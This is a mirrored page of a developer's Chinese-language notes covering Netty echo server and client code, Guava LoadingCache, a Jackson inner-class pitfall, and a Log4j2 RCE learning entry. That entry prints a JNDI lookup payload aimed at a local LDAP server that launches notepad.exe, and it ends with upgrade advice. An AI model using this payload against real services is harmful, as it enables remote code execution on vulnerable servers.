Giter Site home page Giter Site logo

notes's People

Contributors

virgilchen97 avatar

Watchers

 avatar

notes's Issues

Netty Hello world

本文中,我们使用Netty实现一个简单的服务器和客户端:

  • 服务端收到什么,就发送回什么 (EchoServer)
  • 客户端发送简单的字符串

Echo Server

首先,我们先编写服务器的 Handler,当收到连接请求,接收到字符串后,返回相同的字符串内容:

@ChannelHandler.Sharable // 代表这个Handler的一个实例时可以被多个Channel共享的
public class EchoServerHandler extends ChannelInboundHandlerAdapter {

    // 每次收到信息的时候就会调用
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        ByteBuf in = (ByteBuf) msg;
        System.out.println("Server received: " + in.toString(CharsetUtil.UTF_8)); // 输出收到的内容
        ctx.write(in); // 将收到的内容写回去
    }

    // 当信息接收完时会调用
    @Override
    public void channelReadComplete(ChannelHandlerContext ctx) throws Exception {
        // 刷出所有的数据,完成后关闭 Channel
        ctx.writeAndFlush(Unpooled.EMPTY_BUFFER).addListener(ChannelFutureListener.CLOSE);
    }

    // 异常处理
    @Override
    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
        cause.printStackTrace();
        ctx.close();
    }
}

这个 Handler 是处理收到的信息的,因此我们需要实现 ChannelInboundHandler 接口,定义连接建立,收到消息等等的行为。ChannelInboundHandlerAdapter 是 Netty 提供的对于 ChannelInboundHandler 接口最基本的实现。默认他会把所有事件都传递给 ChannelPipeline 中的下一个 Handler。在这里我们继承它,覆盖掉收到信息的几个行为,实现 Echo

定义好 Handler,我们需要编写启动服务器的代码:

public class EchoServer {
    private final int port; // 端口

    public EchoServer(int port) {
        this.port = port;
    }

    public static void main(String[] args) throws Exception {
        int port = 60000;
        new EchoServer(port).start();
    }

    public void start() throws Exception {
        final EchoServerHandler echoServerHandler = new EchoServerHandler();
        EventLoopGroup group = new NioEventLoopGroup(); // 创建EventLoop
        try {
            ServerBootstrap bootstrap = new ServerBootstrap();
            bootstrap.group(group)
                    .channel(NioServerSocketChannel.class)
                    .localAddress(new InetSocketAddress(port))
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) throws Exception {
                            ch.pipeline().addLast(echoServerHandler);
                        };
                    });
            ChannelFuture future = bootstrap.bind().sync(); // bind 绑定 Socket (同步)
            future.channel().closeFuture().sync(); // 关闭Channel (同步)
        } finally {
            group.shutdownGracefully().sync(); // 关闭服务器,释放所有资源
        }
    }
}

其中较为核心的部分是在操作 ServerBootstrap 对象:

  1. .group() 绑定 EventLoopGroup
  2. .channel() 指定使用的是 NIO Channel
  3. .localAddress() 指定监听地址和端口
  4. .childHandler() 有客户端建立连接(Channel)后,为每一个建立的 Channel 指定 Handler。ChannelInitializer 是Netty提供的一种 ChannelInboundHandlerAdapter 的实现,来在Channel初始化时进行一些操作,这里我们在每个 Channel 建立后,添加上了我们自己的 Handler。

至此,我们的 Echo 服务端就编写完毕

客户端

同样的,我们先编写 Handler

@ChannelHandler.Sharable
public class EchoClientHandler extends SimpleChannelInboundHandler<ByteBuf> {
    
    // Channel 建立后,立刻发送 "Netty rocks!"
    @Override
    public void channelActive(ChannelHandlerContext ctx) throws Exception {
        ctx.writeAndFlush(Unpooled.copiedBuffer("Netty rocks!", CharsetUtil.UTF_8));
    }

    // 收到信息后打印出来
    @Override
    protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) throws Exception {
        System.out.println("Client received: " + msg.toString(CharsetUtil.UTF_8));
    }

    // 异常处理
    @Override
    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
        cause.printStackTrace();
        ctx.close();
    }
}

客户端我们继承的是 SimpleChannelInboundHandler,这也是Netty提供的一种 ChannelInboundHandlerAdapter 的实现,他简化到只会处理某种特定类型的消息,在我们的例子里是 ByteBuf 类型,而且在读取后,会立刻释放该信息。在我们的Server中,由于需要把信息返回个客户端,因此是不能在读取后立刻释放的。

接下来是客户端的启动代码:

public class EchoClient {
    private final String host;
    private final int port;

    public EchoClient(String host, int port) {
        this.host = host;
        this.port = port;
    }

    public static void main(String[] args) throws Exception{
        new EchoClient("127.0.0.1", 60000).start();
    }

    public void start() throws Exception {
        EventLoopGroup group = new NioEventLoopGroup();
        try {
            Bootstrap bootstrap = new Bootstrap();
            bootstrap.group(group)
                    .channel(NioSocketChannel.class)
                    .remoteAddress(new InetSocketAddress(host, port))
                    .handler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) throws Exception {
                            ch.pipeline().addLast(new EchoClientHandler());
                        }
                    });
            ChannelFuture f = bootstrap.connect().sync();
            f.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully().sync();
        }
    }
}

运行

在idea中,我们首先启动Server

然后启动 Client

Client 发送了 "Netty rocks!" 后,接收到了服务器返回的相同字符串,退出了。此时看服务器

提示收到了"Netty rocks!"。如果我们多次启动客户端,服务端也会多次收到一样的字符串:

这样,一个非常简单的 Netty 服务器和客户端就完成了

LoadingCache 本地缓存

在项目开发中的时候,经常会遇到:

  1. 服务访问频率较高,但是依赖服务无法承受较高qps,或是依赖服务有较大时延
  2. 部分复杂配置仅需要偶尔获取即可,只在Bean加载时读取配置,想要让新的配置生效必须重启服务
  3. 其他对于数据时效性要求不高的情况

在我的开发过程中遇到的情况是,我开发的服务A要通过服务B获取配置来生成动态一些数据,服务B的配置随时可能被修改。如果生成数据每一条数据的时候都去调用一次服务B,对于服务B的压力过大,每次HTTP请求也会影响生成数据的性能。但是如果每次仅在Bean加载的时候获取服务器配置,会导致服务B上发生的配置修改在我这里无效。

这时,我们就想到了要使用缓存。说到缓存,大家第一个想到的就是大名鼎鼎的 Redis,但是对于某些小型服务,为了缓存就直接引入一个Redis服务器显然是不明智的。为了解决这个问题,Guava中为我们提供了一种本地缓存的解决方案——LoadingCache

LoadingCache 接口

先让我们来看下LoadingCahce接口的接口定义,让我们对这个工具有一个清楚的认知

public interface LoadingCache<K, V> extends Cache<K, V>, Function<K, V> {
   V get(K key) throws ExecutionException;
   V getUnchecked(K key);
   ImmutableMap<K, V> getAll(Iterable<? extends K> keys) throws ExecutionException;
   V apply(K key);
   void refresh(K key);
   ConcurrentMap<K, V> asMap();
}

其中比较重要的有

  • V get(K key) 通过 key 获取 value, 如果通过此key获取不到对应的value,则通过定义的 CacheLoaderload 方法原子的去载入这个 value
  • V getUnchecked(K key) 与 get 基本相同,区别在定义的 CacheLoader 是否会抛出异常,如果不会则使用本方法
  • void refresh(K key) 重新使用 CacheLoader 去载入这个key对应的value

使用

Loading Cache使用了工厂模式来创建实例,通过 CacheBuilder 类,我们可以快速的创建自己需要的缓存。常用的有如下选项

  • maximumSize(long) 设置缓存容量的最大值,超过后,最不常用的缓存项将被清除
  • expireAfterAccess(long, TimeUnit) 在给定时间内没有被读/写访问,则回收。
  • expireAfterWrite(long, TimeUnit) 缓存项在给定时间内没有被写访问(创建或覆盖),则回收。

在调用 build() 方法时,需要传入一个实现了 CacheLoader 接口的实例,用来定义当指定的key获取不到缓存时,如何将数据载入缓存。通常我们可以直接new接口实现一个匿名内部类。

在我的使用场景下,我希望cache中的数据在载入60秒后过期,此时重新从B服务获取配置。我就会用如下代码来新建一个 LoadingCache

private LoadingCache<String, String> cache = CacheBuilder.newBuilder()
            .expireAfterWrite(60, TimeUnit.SECONDS)
            .build(new CacheLoader<String, Map>() {
                @Override
                public String load(String key){
                    return serviceBravo.queryConfig(key)
                }
            });

这样,每次使用key去B服务获取配置时,cache会先检查本地是否加载,若没有加载的话就会使用我们定义的 CacheLoader 去B服务加载配置并返回。下一次调用若在60秒内,则会直接返回缓存的结果。若B服务的配置发生了修改,60秒过后缓存失效,便会重新获取新的配置。这样大大降低了B服务的压力,提升了本服务的性能。

Jackson和内部类

同事在写一个很简单的,从配置中心读取一个JSON,然后转换为服务内部的一个实体类的方法。这样的代码,想必大家已近烂熟于心了。但是那天,我同事写的这段代码却死也跑不起来,原因在于使用 jackson 反序列化 JSON 的过程中,无论如何返回的都是一个空对象。我和同事老哥看了半天,仔仔细细对了字段名是不是正确,从配置中心拉下来的配置是不是下划线命名了,有没有奇怪的注解等等,看了半天依旧没有看出问题。

排查

同事写的那段获取配置,并进行一些处理的代码,大概长这样:

public class JacksonInnerClass {
    public void someMethod(String[] args) {
        Person person = ConfigUtils.getJsonProperty("server.person_config", Person.class); // 返回null
        // do something with person
    }
    class Person {
        int height;
        int weight;
        String name;
    }
}

ConfigUtils 是一个工具类,会从服务器获取 server.person_config 这个配置并且用 jackson 反序列化为对象。看起来毫无问题,但是无论如何 person 永远是null
我平时写代码的时候不喜欢写内部类,遇到这种配置的映射类,我都会单独写在 dto 或者 vo 包里,联想到内部类可能有一些隐藏的属性,我吧Person这个类单独提取了出来,再debug,结果一遍通过,反序列化成功。

原因

一番搜索后,通过 这篇文章 了解到。Java 的非静态内部类,是可以访问外部类的私有成员变量的。为了实现这一点,Java在编译时,会给内部类添加一个传入外部类的构造方法。这就会导致内部类没有无参构造方法,导致 jackson 无法实例化对象。jackson 内部会报错:

non-static inner classes like this can only by instantiated using default, no-argument constructor

我这里写了一个测试类:

public class Test {
    public void someMethod() {
        String json = "{\n" +
                "    \"weight\": 40,\n" +
                "    \"height\": 160,\n" +
                "    \"name\": \"frank\"\n" +
                "}";
        Person person = JsonUtils.fromJson(json, Person.class);
        System.out.println(person.getHeight());
    }

    @Data
    class Person {
        int height;
        int weight;
        String name ;
    }

    public static void main(String[] args) {
        Test test = new Test();
        test.someMethod();
    }
}

编译过后,这个类会生成两个 .class 文件

反编译 Test$Person 得到如下结果

class Test$Person {
   int height;
   int weight;
   String name;
   // $FF: synthetic field
   final Test this$0;

   // 多出的构造方法
   public Test$Person(Test this$0) {
      this.this$0 = this$0;
   }
...

可以看到,生成的类多出了一个入参是外部类的构造方法。注意这里,即使你自己在类中写一个无参的构造方法也是无效的,因为只要需要访问外部类,内部类中就必然要保存外部类的引用,你的无参构造方法会直接被无视掉。

解决

给内部类添加 static 修饰符,因为静态内部类不能访问外部类的成员变量。或者干脆不使用内部类。

Log4j2 RCE 0day漏洞学习

一些前置知识

1. Log4j2 是什么

在 SpringBoot 中,我们使用lombok经常会使用 @Slf4j 来注入一个log对象,调用info,debug等方法来记录日志。slf4j 是一个日志框架,是对所有日志制定的一种规范、标准、接口,但是并没有实现任何功能。
Log4j2 则是 slf4j 这个框架的一种具体实现,他支持通过不同的 Appender 将日志记录到控制台,文件,甚至kafka。

2. RCE 漏洞

远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

本次漏洞

Log4j2 在记录日志时,支持动态属性,可以将动态的替换日志中的字段为环境变量,系统属性等。官方的 Lookup文档 具体的描述了支持替换属性。
攻击者可以通过调用接口或者是使用服务,被攻击的服务使用log4j记录包含 ${} 关键标识符的日志。触发log4j2的lookup逻辑。而 jndi 也是支持替换的属性之一。攻击者可以通过触发 JNDI ,通过ldap/rmi注入漏洞。成功利用此漏洞可以在目标服务器上执行任意代码。

复现

首先编写个类打印日志:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j {
    private static Logger logger = LogManager.getLogger(Log4j.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:23456/Command8}");
    }
}

然后使用su18大佬的这个 工具 ,启动一个 jndi 服务,把命令设置为打开记事本(notepad.exe)

运行代码,果然打开了记事本

我们这里只是打开了记事本,但是攻击者可以利用这个漏洞,将自己的ssh key加入服务器的authorized_keys,删除/写入/读取服务器上的文件,危险性极高。

修复

尽快将log4j升级为2.15.0-rc2之后的版本,官方在新版本中默认禁用了 JNDI lookup 功能。

Netty 基本组件

上篇笔记中,我们试着用Netty实现了一个简单的server和client,但是感觉却是盲人摸象,对其中用到的各种组件之间的关系一头雾水,现在我们就来大致了解一下 netty 中的各种组件和他们之间的关系

基本组件

Channel

Java 网络编程中,Socket 是最最基本的组件,服务端需要通过 bind() 来绑定服务接口,通过 read()write 来读取数据。Channel 则是 Netty 对于 Socket 的封装。简化了很多操作。

Channel 本身是一个接口,在 Netty 中有多种他的实现。

ChannelFuture

Netty 中的网络操作都是异步的,和 Channel 相关的操作也一样,ChannelFuture 就是一个结果的占位符,你可以通过 addListener() 方法来在添加一个监听器,处理操作完成后的结果。

EventLoop

EventLoop 是netty对于事件处理的抽象。在上一篇笔记中,创建服务器时,我们做的第一件事就是创建 EventLoopGroup:

public void start() throws Exception {
        final EchoServerHandler echoServerHandler = new EchoServerHandler();
        EventLoopGroup group = new NioEventLoopGroup(); // 创建EventLoop
...

EventLoop 相关的一些对象关系如下:

  • EventLoopGroup 包含多个 EventLoop
  • 每个 EventLoop 都会分配一个线程。
  • 每个 Channel 都会在其生命周期内会被分配一个 EventLoop ,二者是多对一的关系

ChannelHandler

实现了 ChannelHandler 接口的类中,基本就包含了我们的”业务代码“。你可以使用 ChannelHandler 对该 Channel 产生的事件做出响应,例如反序列化啊,解密啊,回写信息啊等等。

ChannelHandler 有两个子类:ChannelInboundHandlerChannelOutboundHandler ,顾名思义,一个是用于处理入站事件,即收到数据,而另外一个用于处理出站事件,即发送数据。

ChannelPipeline

一个 ChannelPipeline 中包含了了一串 ChannelHandler。当一个事件发生时,这个事件会”流“过 ChannelPipeline 中的每一个 ChannelHandler,每一个 Handler 都可以对消息进行处理,或者将事件发送给下一个 Handler。

在一个 Channel 被创建时,都会被分配一个 ChannelPipeline。在我们进行 Bootstrap 时:

ServerBootstrap bootstrap = new ServerBootstrap();
            bootstrap.group(group)
                    .channel(NioServerSocketChannel.class)
                    .localAddress(new InetSocketAddress(port))
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) throws Exception {
                            ch.pipeline().addLast(echoServerHandler);
                        };
                    });

会新建一个 ChannelInitializer 对象,当这个对象的 initChannel 方法被调用时,会将一系列的 ChannelHandler 加入到 Pipeline 里面去。

ChannalPipeline 会自动区分 ChannelInboundHandler 和 ChannelOutBoundHandler,并用他们分别处理入站/出站的数据。这个模式有点像 Spring 中的 Filter,都是责任链模式,每一个Handler都可以处理数据,或者将当前数据pass给下一个Handler:

以上就是Netty中的一些基本组件和设计。

Netty 简介

Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients.

Netty 使用了 Java NIO API 来实现异步的,事件驱动的高性能网络编程框架,本文我们一起学习 Netty 的基本概念。

Java 网络编程

很早以前的 Java 只支持阻塞式的网络编程,通常为了编写一个网络服务,你需要

  1. 使用 accept() 来等待客户端发来连接请求,收不到请求便一直阻塞
  2. 使用 BufferedReaderPrintWriter 来操作 accept() 返回的socket。BufferedReader 等待读取客户端发来的数据时,也是一直阻塞的。

这样做,服务器一次只能处理一个请求。想要响应多个请求,那么对于每一个 socket,我们可以在 accept() 以后开一个新的线程去处理,但是这么做有很多的缺点

  • 大部分线程都因为等待输入被阻塞
  • 连接数多时,会创建很多的线程,创建线程有开销
  • 线程太多,CPU 频繁 context-switch 影响性能

我们需要一种更高性能的处理网络IO的方法

Java NIO (Non-blocking I/O)

为了解决上述问题,Java 为我们提供了 NIO 的 API。可以让我们注册多个socket,在某个socket有数据需要读取或写入时,由系统来通知我们。

Selectors

selector 是 NIO 实现的关键,它使用操作系统的 API 来告诉我们那些Socket现在需要被读写,所以我们不再需要多个线程阻塞式的等待数据。一个线程就可以处理多个socket。但是 Java NIO 的 API 十分复杂,因此我们需要一个成熟的框架来让我们能够更轻松的使用 NIO,这就是 Netty。

Netty 核心组件

Netty 包含如下核心组件:

  • Channels
  • Callbacks
  • Futures
  • Events and handler

Channels

an open connection to an entity such as a hardware device, a file, a
network socket, or a program component that is capable of performing
one or more distinct I/O operations, for example reading or writing.

基本代表了一条连接,会发送/接收数据,可以开启或关闭

Callbacks

回调(Callback)是在一个事件发生的时候,针对该事件执行的函数,可以理解该事件就是函数的入参。在Netty中,通过实现 ChannelHandler 接口,可以实现自定义的回调函数。书上的例子:

public class ConnectHandler extends ChannelInboundHandlerAdapter {
    @Override
    public void channelActive(ChannelHandlerContext ctx) throws Exception {
        System.out.println("Client " + ctx.channel().remoteAddress() + " connected");
    }
}

在有新连接建立时,channelActive 会被调用,打印出一些信息

Futures

Future 和 Callback 较为类似,互相补充。Future 提供了一种告知某个操作是否完成的方法。执行一个异步方法时,方法会立刻返回一个 Future 作为方法结果的占位符,调用者可以通过 Future 对象来判断异步操作是否完成,并在操作完成后通过 Future 获取结果。

但是通过不断地轮询 Future 是否 ready 也是很麻烦的。因此 Netty 中的 ChannelFuture 允许我们注册一个或多个 ChannelFutureListener 当 Future 的操作完成时,Listener 便会使用其中定义的方法对 Future 的结果进行处理。

Events and Handlers

Netty 通过产生各种事件来告诉我们某个操作的状态变化,而我们针对性的使用Handler来对相应变化。

Netty 讲事件分为入站事件和出站事件,入站事件可能是 新的连接/收到数据/发生错误,出站事件可能是 发起连接/写数据等等。这些事件都可以被用户定义的 Handler 捕获到,并作出响应。

Netty 本身也提供了很多现成的 Handler 给我们使用,例如 HTTP,SSL 的 Handler 等

总览

Netty 中,Futures,Callbacks 和 Handlers 为我们提供了对任何网络事件进行异步处理的能力,我们不需要关心事件何时发生,如何发生,只需要为事件定义好 Handler 或 callback,或者对产生的Future进行处理,而不需要关心网络操作过程中的任何细节。

而 Netty 中的 Event 和 Event Loop 则把 Java 中的 Selector 包装了起来。每一个 Channel 都会 被分配一个 EventLoop,EventLoop 则会注册各种事件,将需要的事件发送给指定的Handler,进行后续处理等等。

Netty 对于 NIO 的抽象让我们不再需要担心线程同步,事件分发等问题,我们只需要定义我们关心那些数据,对这些数据需要做什么处理,将处理好的数据发送到那里去就好了。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.